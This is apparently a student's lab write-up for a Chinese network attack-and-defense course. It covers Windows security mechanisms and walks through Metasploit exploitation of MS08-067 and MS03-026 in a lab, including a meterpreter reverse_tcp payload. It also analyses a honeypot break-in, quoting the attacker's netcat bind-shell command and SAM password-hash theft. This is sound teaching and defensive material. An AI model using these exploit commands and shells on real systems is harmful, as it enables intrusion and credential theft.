20199108 2019-2020-2 《网络攻防实践》第7周作业
1.实践内容
1 windows操作系统的基本结构
windows操作系统内核的基本模块
windows执行体、windows内核体、设备驱动程序、硬件抽象层
windows窗口与图形界面接口内核实现代码
系统支持进程、环境子系统服务进程
服务进程、用户应用软件
核心子系统dll
windows操作系统内核中实现的核心机制
- windows进程和线程管理机制
- windows内存管理机制
- windows文件管理机制
- windows注册表管理机制
- windows的网络机制
2windows操作系统的安全系统
windows操作系统基于引用监控器模型
windows身份认证机制
windows操作系统以安全主体概念包含访问的请求实体对象、用户、用户组和计算机三大类
3.自主访问控制与强制访问控制机制
访问控制是操作系统安全的核心内容和基本要求。当系统主体对客体进行访问时,应按照一定的机制判定访问请求和访问方式是否合法,进而决定是否支持访问请求和执行访问操作。通常包括自主访问控制和强制访问控制等两种方式,前者指主体(进程或用户)对客体(如文件、目录、特殊设备文件等)的访问权限只能由客体的属主或超级用户决定或更改;而后者则由专门的安全管理员按照一定的规则分别对系统中的主体和客体赋予相应的安全标记,且基于特定的强制访问规则来决定是否允许访问。
4.windows安全审计机制
安全审计是一种事后追查的安全机制,其主要目标是检测和判定非法用户对系统的渗透或入侵,识别误操作并记录进程基于特定安全级活动的详细情况。通常,安全审计机制应提供审计事件配置、审计记录分类及排序等附带功能。
Windows系统实现安全机制的基本手段
1.标识、鉴别及可信通路机制
用于保证只有合法用户才能以系统允许的方式存取系统中的资源。用户合法性检查和身份认证机制通常采用口令验证或物理鉴定(如磁卡或IC卡、数字签名、指纹识别、声音识别)的方式。而就口令验证来讲,系统必须采用将用户输入的口令和保存在系统中的口令相比较的方式,因此系统口令表应基于特定加密手段及存取控制机制来保证其保密性。此外,还必须保证用户与系统间交互特别是登陆过程的安全性和可信性。
2.最小特权管理机制
特权是超越访问控制限制的能力,它和访问控制结合使用,提高了系统的灵活性。然而,简单的系统管理员或超级用户管理模式也带来了不安全的隐患,即一旦相应口令失窃,则后果不堪设想。因此,应引入最小特权管理机制,根据敏感操作类型进行特权细分及基于职责关联一组特权指令集,同时建立特权传递及计算机制,并保证任何企图超越强制访问控制和自主访问控制的特权任务,都必须通过特权机制的检查。
3.隐蔽通道分析处理机制
所谓隐蔽通道是指允许进程间以危害系统安全策略的方式传输信息的通信信道。根据共享资源性质的不同,其具体可分为存储隐蔽通道和时间隐蔽通道。鉴于隐蔽通道可能造成严重的信息泄漏,所以应当建立适当的隐蔽通道分析处理机制,以监测和识别可能的隐蔽通道,并予以消除、降低带宽或进行审计。
3 windows远程安全攻防技术
远程口令猜测与破解攻击:采用暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术
攻击windows网络服务:系统存在可能导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞对windows网络服务实施远程渗透攻击,从而得到系统的访问权
攻击windows客户端及用户:攻击者利用社会工程学诱骗用户来帮助他们执行伪装目的的恶意代码或者流氓软件。
针对特定目标的渗透测试攻击工程流程
漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试
使用metasploit软件实施渗透测试。
windows口令猜测与破解攻击
猜测:最简单的猜测攻击就是在命令行终端中输入“net use \HOST\IPC$*/u:Administrator”根据提示猜测账号的收集。
常用工具:legion、enum、smbgrind、ntscan
远程口令字交换通信窃听与破解
windows在进行网络身份认证时,使用LanMan、NTLM和Kerberos认证协议。
远程口令的防范
培养用户设置安全强度高的口令
尽量关闭不必要开放的网络服务:如tcp端口的SMB服务、WMI服务、TS终端服务以及MS sql server服务
配置主机防火墙来限制对上述端口的服务
保持windows更新
windows远程渗透攻击
1、针对于NetBIOS的攻击
NetBIOS以运行在TCP/IP系统中的NBT协议来实现,具体包括在UDP的137端口上监听的NetBIOS名字的服务;UDP的138端口上的NetBIOS数据报服务;TCP的139,445端口的NetBIOS会话服务。
2、SMB网络服务
SMB(Server Message Block)提供了Windows网络中最常用的远程文件与打印共享服务,其次SMB的命名管道是MSRPC协议认证和调用本地服务的承载传输层,139和445端口。
3、MSRPC网络服务
这个服务能够完美的调用远程服务器上服务进程的过程。采用的网络传输层协议包括:
ncacn_ip_tcp 135
ncadg_ip_udp 135
ncacn_np (TCP 139和445)主要是这个,SMB命名管道传输协议
4、RDP远程桌面服务
默认3389端口,MS12-020漏洞使得目标机器rdpwd.sys内存崩溃,拒绝服务。
针对于windows系统上微软网络服务的渗透攻击
比如微软产品IIS,SQL,Exchange,DNS,WINS,FTP等
针对于windows系统上第三方网络服务渗透攻击
windows上的Apache,serv-u,websphere,Filezilla等程序漏洞攻击
针对网络服务远程渗透攻击的安全防范措施
1、禁用所有不必要的网络服务
2、尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署(在这些协议中,FTP的安全性最为薄弱,应该尽量避免使用,而SSH/SFTP除了对身份认证过程中的敏感登陆信息进行加密传输之外,对所有通过网络传输的文件内容也进行了加密,因此安全性是最高的。在选定网络协议与具体的网络服务软件之后,网络管理员下一步要做的是根据一份最佳安全配置实践指导来架设网络服务,其中需要特别重视的是一定要修改网络服务的默认口令和一些不安全配置)
3、及时更新网络服务版本(网络管理员是否能够及时地更新网络服务软件,是决定服务器系统安全性的关键所在)
4、使用xinetd、防火墙为Linux网络服务添加网络访问控制机制(xinetd是由inetd和TCP Wrapper发展而来的一套网络访问控制机制,提供了Linux系统中启动一些控制网络服务,并增强其安全性的一套解决方案)
5、建立入侵检测与应急响应计划流程(在网关位置部署Snort NIDS并进行正确有效的配置,此外也可以选择在关键的服务器系统上安装OSSEC等HIDS系统,监控系统上的入侵行为,还需要建立起一套完整的应急响应计划体系)。
本地安全攻防技术
1.本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
2.敏感信息窃取:
windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)
windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)
用户敏感数据窃取:find、findstr、grep、meterpreter
本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
windows消灭踪迹
1.消灭踪迹关闭审计功能、清理事件日志。
防范措施:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
2.远控和后门程序
远控:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)
后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)
防范措施:后门检测软件、杀软、rootkitrerealer、IcSword
2.实践过程
1、动手实践:Metasploit Windows Attack
任务:使用metasploit软件进行windows远程渗透统计实验.
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权.
kali(192.168.92.2) win2k(192.168.92.124)
在kali打开metasploit,输入msfconsole,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
输入search ms08_067
use exploit/windows/smb/ms08_067_netapi
选择攻击负载模块,可以通过输入show payloads,然后找到你要用的攻击负载模块,输入set PAYLOAD 3。然后然后show options
然后配置攻击机和靶机的IP地址 set RHOST 靶机IP set LHOST 攻击机IP
然后输入set TARGET 0设置目标操作系统平台类型
输入exploit开始攻击
然后我们可以发现进入了win2k的cmd界面,我们ipconfig
2、实践作业1:取证分析实践:解码一次成功的NT系统破解攻击
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
1、攻击者使用了什么破解工具进行攻击
2、攻击者如何使用这个破解工具进入并控制了系统
3、攻击者获得系统访问权限后做了什么
4、我们如何防止这样的攻击
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
首先用wireshark打开云班课上的.log文件,会看到非常多报文。根据题目先进行一下筛选ip.src == 213.116.251.162 && ip.dst ==172.16.1.106,可以发现攻击者一开始进行了HTTP访问,追踪数据流可以发现发起http请求的主机系统信息NT5.0以及响应http请求的服务端主机安装了IIS4.0服务组件。
接着发现一个报文:Get请求后面加上了一些东西,指向了系统启动文件boot.ini,研究get后面的内容发现【%C0%AF】为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。关于Unicode漏洞的说明:IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
继续往下有一个指向了一个msadcs.dll的数据包,通过搜索特征码ADM!ROX!YOUR!WORLD,得知是msadc.pl/msadc2.pl渗透脚本工具。并在msadcs.dll存在的MDAC RDS漏洞进行SQL注入
接下来使用【http.request.uri contains "msadc"】进行筛选,可以看到攻击机成功上传了工具,因为攻击者密码写错了重复了几次
然后攻击者使用【c+nc+-l+-p+6969+-e+cmd1.exe 】打开后门
尝试提升本地权限,向yay.txt和yay2.txt的文件内写指令,失败后又尝试查看用户组信息,将IUSR加入本地管理员组
获取SAM备份,在上一步获取权限之后转而去继续获取SAM密码。这次rdisk /s-备份关键系统信息,在%systemroot%\repair中会创建一个sam._的SAM压缩拷贝。
然后发现又开启了一个远程shell,成功的获取到了SAM的值,并写入文件har.txt,将SAM备份文件拷贝到IIS的根目录inetpub,并通过web方式进行了下载
如何防止这样的攻击:(1)直接防御措施:打补丁(2)进一步防御措施:禁用用不着的RDS等服务;防火墙封禁网络内部服务器发起的连接;为web server在单独的文件卷上设置虚拟根目录;使用NTFS文件系统,因为FAT几乎不提供安全功能;使用IIS Lockdown 和URLScan 等工具加强web server。
攻击者警觉了他的目标是一台蜜罐主机,攻击者写了这是他见过的最好的蜜罐
3、实践作业2:团队对抗实践:Windows系统远程渗透攻击与分析
攻防对抗实践内容:
攻击方:使用metaploit选择漏洞进行攻击,获得控制权。
防守方:使用wireshark监听获得的网络数据包文件,并结合wireshark/snort分析攻击分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功后 在本地执行的命令输入等信息。
实验环境:
kali 192.168.92.2
Win2KServer 192.168.92.124
在 Kali 攻击机终端使用以下命令进入 Metasploit:
msfconsole
使用 MS03-026 作为攻击的目标漏洞:
use exploit/windows/dcerpc/ms03_026_dcom
设置打开反向连接的载荷:
set PAYLOAD windows/meterpreter/reverse_tcp
设置攻击机 IP:
set LHOST 192.168.92.2
设置靶机 IP:
set RHOST 192.168.92.124
开始攻击:
exploit
上图表示攻击成功,接下来运行 shell 指令,开启靶机的 shell:
使用 ipconfig 验证:
打开 Wireshark,筛选:
ip.addr == 192.168.92.2 && ip.addr == 192.168.92.124
3
.学习中遇到的问题及解决
- 问题1:在配置完win2kserver之后无法查询ip,且无法ping通攻击机。
- 问题1解决方案:在重启之后,问题得到解决。win2kserver可以ping通kali,不能ping通外网。
4.实践总结
本次实践二感觉有点难搞,做起来有些吃力,借鉴了一些同学的博客之后才有所进展。